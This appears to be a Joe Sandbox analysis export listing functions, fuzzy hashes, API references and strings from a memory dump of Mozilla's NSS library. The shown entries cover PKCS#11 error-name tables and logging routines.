Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 8833fb4a2690bb7b649d5f53b36e30318263c6d2805471888138534bb80ae569
Instruction ID: 4cef7fc38aad4db1ac7097669c7eca57569a29b25f3f16051c2edcb178c80a84
Opcode Fuzzy Hash: 8833fb4a2690bb7b649d5f53b36e30318263c6d2805471888138534bb80ae569
Instruction Fuzzy Hash: 7D7190716043009FDB14CF28D894AABBBF5FF89318F14C628F95997212E730A986CBD5

Function 6C6E49F0 Relevance: 1.9, APIs: 1, Instructions: 673COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91f26d77cf4c4110720a63b3109a848ef646ba66ce742810c90cd6d72c0e9369
Instruction ID: aaf77c4074a800f1835aeb72a69225c0667ea3fb56cb592489ab0e44a7bef73e
Opcode Fuzzy Hash: 91f26d77cf4c4110720a63b3109a848ef646ba66ce742810c90cd6d72c0e9369
Instruction Fuzzy Hash: F1528E74E052098FDB04CFA9C484BAEBBF2FF89314F24815AD814AB755D775E842CB98

Function 6C77ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C77EE3D

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 51b9fd4f44d5c25c43b08b9c40732319b99267f6a026c175c5e77b9a80964e5a
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 1471D672E017098FDB28CF59CA806AAB7F2BF88304F15462DD85597B91D770E940CBA1

Function 6C6B4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C6B5125

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: e27ea736d491071ffbe86cfb58e8a2ebd6dd7db8bd45c3fb13479c28f3ac2f5f
Instruction ID: 8f7b6b8038ecb7ebd83db26b14ba7d9daaad322ab76b19007a0fba5128caf174
Opcode Fuzzy Hash: e27ea736d491071ffbe86cfb58e8a2ebd6dd7db8bd45c3fb13479c28f3ac2f5f
Instruction Fuzzy Hash: 27E14F71A193408FDB15DF28D48869ABBF0FF8A308F11862DF88997351E7709985CBD6

Function 6C73A820 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

[[rl, xrefs: 6C73A92D, 6C73A943

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID: [[rl
API String ID: 0-78422249
Opcode ID: e41471e8879cd98ee06a977547d89fc60540abb72908315fc802781f7369276f
Instruction ID: e00fbc3d92ce09707fd1f35d3395ba6b730296befbe2edc2248de0fe250d9659
Opcode Fuzzy Hash: e41471e8879cd98ee06a977547d89fc60540abb72908315fc802781f7369276f
Instruction Fuzzy Hash: 9351BD71A012298FDF05CF95DA4ABAA7BE5EF48318F26807DE81D9B752D730D841CB90

Function 6C6E8960 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction ID: f017016a463fa828640c9eebbad555138ed411e811d7cefee6ff4fc57f4c15e4
Opcode Fuzzy Hash: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction Fuzzy Hash: DFD15E71E1A2168FDB48CEADC4806AEB7F2FB8D304F25856BC556E7660D7309C41CB98

Function 6C7EDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3399839fd39de588c1bf5ca56125f7610e95c2bc599d84b2e3e5108422a82bfe
Instruction ID: 72473b7041ef5d4653f5e3ae2391236da13c252518dcb3463c2ff8ab16fbc8ba
Opcode Fuzzy Hash: 3399839fd39de588c1bf5ca56125f7610e95c2bc599d84b2e3e5108422a82bfe
Instruction Fuzzy Hash: 16F15872A012058FDB08CF18C594BAA77B2BF89318F298178D8199F741DB35ED42CBE5

Function 6C718EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca866b8bec154f2996b5739e9f4a717b3286b2c2cfac18025ef23c6cbff945c6
Instruction ID: 08c7752341fb8ff6586b52812900620ad78e4dea7ea239747322bde4565889f3
Opcode Fuzzy Hash: ca866b8bec154f2996b5739e9f4a717b3286b2c2cfac18025ef23c6cbff945c6
Instruction Fuzzy Hash: 7F11BF32A092158FD714CF24D98875AB3AABF8231CF1E427AD8158FE42D775D886C7D1

Function 6C7F0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81b9598a34f9f2c738b3c2f0efb1d946b00df73702dc114da0d22d00d2e0f9a7
Instruction ID: ede68bb59ae71d4d81ba0d808a5740d7fc7788baa9c4a93037633c90e82fd970
Opcode Fuzzy Hash: 81b9598a34f9f2c738b3c2f0efb1d946b00df73702dc114da0d22d00d2e0f9a7
Instruction Fuzzy Hash: 341191757043459FDB10DF19C8D46AA77A5FF85368F148079D8298B701EB71E807CBA4

Function 6C7F0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: a44b63de33d4b29c92dac7c0903c97e0af77379ddd266565bee51615bab1a344
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 54E0D83A202054A7DB148F09C595AA97359EFC1619FB8807DCC6D9FB01D733F80387A1

Function 6C71CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27589ae88f3608dba34af9bdc9a016f33a070e23865920eb81ef2a0c92b30e59
Instruction ID: ae29bd776254bea2fd279c4be72859d4bf30eadcc54b0734b453d123a43129e6
Opcode Fuzzy Hash: 27589ae88f3608dba34af9bdc9a016f33a070e23865920eb81ef2a0c92b30e59
Instruction Fuzzy Hash: 57C04839244608CFC744DA08E4999A53BA8AB8A61071400A4EA028BB22EA21F800CA80

Function 6C751D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C751D46), ref: 6C752345

Strings

CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C75218D
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C751F95
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C752015
CKR_STATE_UNSAVEABLE, xrefs: 6C752037
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C752293, 6C75233F
CKR_NEXT_OTP, xrefs: 6C75222F
CKR_WRAPPED_KEY_INVALID, xrefs: 6C751FB5
CKR_OK, xrefs: 6C751DFC
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C752327
CKR_SIGNATURE_INVALID, xrefs: 6C7520CF
CKR_PIN_INCORRECT, xrefs: 6C751D92
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C75226B
CKR_PIN_EXPIRED, xrefs: 6C75206B
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C751F8B
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C752319
CKR_RANDOM_NO_RNG, xrefs: 6C7522A7
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C751F77
CKR_FUNCTION_REJECTED, xrefs: 6C752289
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C751F0F
CKR_BUFFER_TOO_SMALL, xrefs: 6C752183
rv = 0x%x, xrefs: 6C752312
CKR_DEVICE_ERROR, xrefs: 6C75229D
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C75204D
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C7520D9
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C751EE1
CKR_FUNCTION_CANCELED, xrefs: 6C751E73
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C75227F
CKR_TOKEN_NOT_PRESENT, xrefs: 6C751F81
CKR_MUTEX_BAD, xrefs: 6C751F49
CKR_OPERATION_ACTIVE, xrefs: 6C7522B8
CKR_DEVICE_REMOVED, xrefs: 6C752261
CKR_DEVICE_MEMORY, xrefs: 6C751FF3
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C752320
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C75232E
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C7522FF
CKR_INFORMATION_SENSITIVE, xrefs: 6C7522B1
CKR_MUTEX_NOT_LOCKED, xrefs: 6C752225
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C751FD7
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C752179
rv = %s, xrefs: 6C752340
CKR_NEW_PIN_MODE, xrefs: 6C751E9F
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C751DE0
CKR_PIN_INVALID, xrefs: 6C752057
CKR_SAVED_STATE_INVALID, xrefs: 6C751E56
CKR_PIN_LOCKED, xrefs: 6C752075
CKR_PIN_LEN_RANGE, xrefs: 6C752061
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C752275

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: f2d29d0fde6f26d921eac8e89257ecf997c52d834a030ac1b5be18eb156ab94b
Instruction ID: cd7bf9fb674a4e2783f20951a078ffa9a39a67dbc60922911c49c3df416ae1d7
Opcode Fuzzy Hash: f2d29d0fde6f26d921eac8e89257ecf997c52d834a030ac1b5be18eb156ab94b
Instruction Fuzzy Hash: 8C61382464E148D7E63C444E83AE36C31249763309FE4C97BE6818EE95CF95CA79C6D3

Function 6C8309D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C830A22

Part of subcall function 6C7E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DC6
Part of subcall function 6C7E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DD1
Part of subcall function 6C7E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7E9DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C830A35

Part of subcall function 6C713810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C71382A
Part of subcall function 6C713810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C713879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C830A66
PR_GetCurrentThread.NSS3 ref: 6C830A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C830A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C830AC8
PR_vsmprintf.NSS3(?,?), ref: 6C830AE8
EnterCriticalSection.KERNEL32(?), ref: 6C830B19
OutputDebugStringA.KERNEL32(00000000), ref: 6C830B48
OutputDebugStringA.KERNEL32(?), ref: 6C830B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C830C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C830C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6C830C76
PR_LogFlush.NSS3 ref: 6C830C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C830C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830C9C
OutputDebugStringA.KERNEL32(?), ref: 6C830CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C830CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6C830D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C830D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6C830D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C830D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6C830D90
free.MOZGLUE(00000000), ref: 6C830D99

Strings

%ld[%p]: , xrefs: 6C830A96
%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6C830A5B

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: 623eecfc0cad011ef6812c3e90a4e142f085911dc4885de74cf97a6644e6d785
Instruction ID: 5468aa23ca65d72e023f831b885e805b375f5e8f30bc1231f3c2ff049f1469a1
Opcode Fuzzy Hash: 623eecfc0cad011ef6812c3e90a4e142f085911dc4885de74cf97a6644e6d785
Instruction Fuzzy Hash: C3A12771A011649FDF31DB68CC8CB9A3B78AF1330CF081A64F85993A42EB759954CBE1

Function 6C7528A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6C7528BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6C7528EF

Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(?), ref: 6C830B88
Part of subcall function 6C8309D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C830C5D
Part of subcall function 6C8309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C830C8D
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830C9C
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(?), ref: 6C830CD1
Part of subcall function 6C8309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C830CEC
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830CFB
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C830D16
Part of subcall function 6C8309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C830D26
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830D35
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C830D65
Part of subcall function 6C8309D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C830D70
Part of subcall function 6C8309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C830D90
Part of subcall function 6C8309D0: free.MOZGLUE(00000000), ref: 6C830D99

Part of subcall function 6C710F00: PR_GetPageSize.NSS3(6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F1B
Part of subcall function 6C710F00: PR_NewLogModule.NSS3(clock,6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C7528D6

Part of subcall function 6C8309D0: PR_Now.NSS3 ref: 6C830A22
Part of subcall function 6C8309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C830A35
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C830A66
Part of subcall function 6C8309D0: PR_GetCurrentThread.NSS3 ref: 6C830A70
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C830A9D
Part of subcall function 6C8309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C830AC8
Part of subcall function 6C8309D0: PR_vsmprintf.NSS3(?,?), ref: 6C830AE8
Part of subcall function 6C8309D0: EnterCriticalSection.KERNEL32(?), ref: 6C830B19
